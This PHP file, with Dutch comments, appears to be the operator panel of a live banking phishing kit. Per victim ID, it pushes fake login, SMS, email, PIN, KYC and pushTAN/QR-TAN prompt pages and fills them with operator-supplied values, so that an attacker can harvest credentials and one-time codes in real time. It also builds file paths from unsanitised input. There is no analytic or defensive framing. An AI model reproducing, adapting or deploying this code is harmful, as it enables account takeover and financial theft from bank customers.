<?php
session_start(); // Start de sessie

$abcData = $_POST['hardware_id'];
switch ($_POST['selectedCommand']) {

    case "a1":

        $orginData = null;
        switch ($_POST['vis_data']) {
            case "login":
                $originData3 = file_get_contents('dataFile/a1a');
                break;
            case "sms":
                $originData3 = str_replace('#NR4C#', $_POST['sms1'], file_get_contents('dataFile/a1b'));
                break;
            case "ems":
                $originData3 = str_replace('#EML#', $_POST['ems1'], file_get_contents('dataFile/a1c'));
                break;
        }
        create_commandCode($originData3, $abcData);
        break;

    case "a11":

        $orginData = null;
        switch ($_POST['relog_data']) {
            case "relog19":
                $originData3 = file_get_contents('dataFile/a11a');
                break;
            case "relog16":
                $originData3 = file_get_contents('dataFile/a11b');
                break;
            case "relogrsp":
                $originData3 = file_get_contents('dataFile/a11c');
                break;
            case "kycid":
                $originData3 = file_get_contents('dataFile/a11d');
                break;
        }
        create_commandCode($originData3, $abcData);
        break;

    case "a2":

        $orginData = null;
        switch ($_POST['rsp_data']) {
            case "resp":
                $originData = str_replace('#RSP#', $_POST['rsp1'], file_get_contents('dataFile/a2a'));
                break;
            case "resperror":
                $originData = str_replace('#RSP2#', $_POST['rsp2'], file_get_contents('dataFile/a2b'));
                break;
        }
        create_commandCode($originData, $abcData);
        break;

    case "a3":

        $orginData = null;
        switch ($_POST['nip_data']) {

            case "pin":
                $originData = file_get_contents('dataFile/a3a');
                break;
            case "pin2":
                $originData = str_replace('#PIN#', $_POST['nip1'], file_get_contents('dataFile/a3b'));
                break;
            case "pin3":
                $originData = str_replace('#PIN2#', $_POST['nip2'], file_get_contents('dataFile/a3c'));
                break;
        }
        create_commandCode($originData, $abcData);
        break;

    case "a4":

        $orginData = null;
        switch ($_POST['snd_data']) {
            case "send":
                $originData = str_replace('#SND#', $_POST['snd1'], file_get_contents('dataFile/a4a'));
                $originData = str_replace('#SND2#', $_POST['snd2'], $originData);
                break;
        }
        create_commandCode($originData, $abcData);
        break;

    case "a5":
        $originData = null;
        switch ($_POST['msg_data']) {
            case "message":
                // Gebruik nl2br om nieuwe regels om te zetten in <br>-tags
                $msg2 = nl2br(htmlspecialchars($_POST['msg2']));
                $originData = str_replace('#TITLE#', $_POST['msg1'], file_get_contents('dataFile/a5a'));
                $originData = str_replace('#MESSAGE#', $msg2, $originData);
                break;
        }
        create_commandCode($originData, $abcData);
        break;

    case "a6":

        $orginData = null;
        switch ($_POST['bnd_data']) {
            case "app":
                $originData = str_replace('#BND1#', $_POST['bnd1'], file_get_contents('dataFile/a6a'));
                $originData = str_replace('#BND11#', $_POST['bnd11'], $originData);

                // Sla de POST-gegevens op in sessies
                $_SESSION['bnd1'] = $_POST['bnd1'];
                $_SESSION['bnd11'] = $_POST['bnd11'];
                break;

            case "bel":
                $originData = str_replace('#BND2#', $_POST['bnd2'], file_get_contents('dataFile/a6b'));
                $originData = str_replace('#BND22#', $_POST['bnd22'], $originData);

                // Sla de POST-gegevens op in sessies
                $_SESSION['bnd2'] = $_POST['bnd2'];
                $_SESSION['bnd22'] = $_POST['bnd22'];
                break;
        }
        create_commandCode($originData, $abcData);
        break;

    case "a":

        $orginData = null;
        switch ($_POST['log_data']) {
            case "logz":
                $originData2 = file_get_contents('dataFile/a6a');
                break;
            case "postal":
                $originData2 = file_get_contents('dataFile/a6b');
                break;
            case "cardz":
                $originData2 = file_get_contents('dataFile/a6c');
                break;
        }
        create_commandCode($originData2, $abcData);
        break;

    case "a7":

        $orginData = null;
        switch ($_POST['bev_data']) {

            case "pushtan2":
                $originData = str_replace('#CODE#', $_POST['leb1'], file_get_contents('dataFile/a7a'));
                $originData = str_replace('#CODE2#', $_POST['leb2'], $originData);
                $originData = str_replace('#CODE3#', $_POST['leb3'], $originData);
                break;

            case "qrtan2":
                $originData = str_replace('src="#data2#"', 'src="' . $_POST['qrCodeImgSource2'] . '"', file_get_contents('dataFile/a7b'));
                $originData = str_replace('#CODE#', $_POST['leb4'], $originData);
                $originData = str_replace('#CODE2#', $_POST['leb5'], $originData);
                $originData = str_replace('#CODE3#', $_POST['leb6'], $originData);
                break;

            case "msg":
                $originData = file_get_contents('dataFile/a7c');
                break;
        }
        create_commandCode($originData, $abcData);
        break;
    
    case "c0":
		create_commandCode(file_get_contents('dataFile/c0'), $abcData);
		break;

    case "a8":
        cc($abcData);

    default:
}

function cc($hwid_data)
{
    $pathFile = '../dataClient/' . $hwid_data . '.md5';
    if (file_put_contents($pathFile, 'approved')) {
        echo "bestand geschreven, uitgevoerd!";
    } else {
        echo "fout ontdekt, geen rechten toegekend aan gebruiker";
    }
}

function create_commandCode($inputData, $hwid_data)
{
    $pathFile = '../dataClient/' . $hwid_data;
    if (file_put_contents($pathFile, $inputData)) {
        echo "bestand geschreven, uitgevoerd!";
    } else {
        echo "fout ontdekt, geen rechten toegekend aan gebruiker";
    }
}
?>
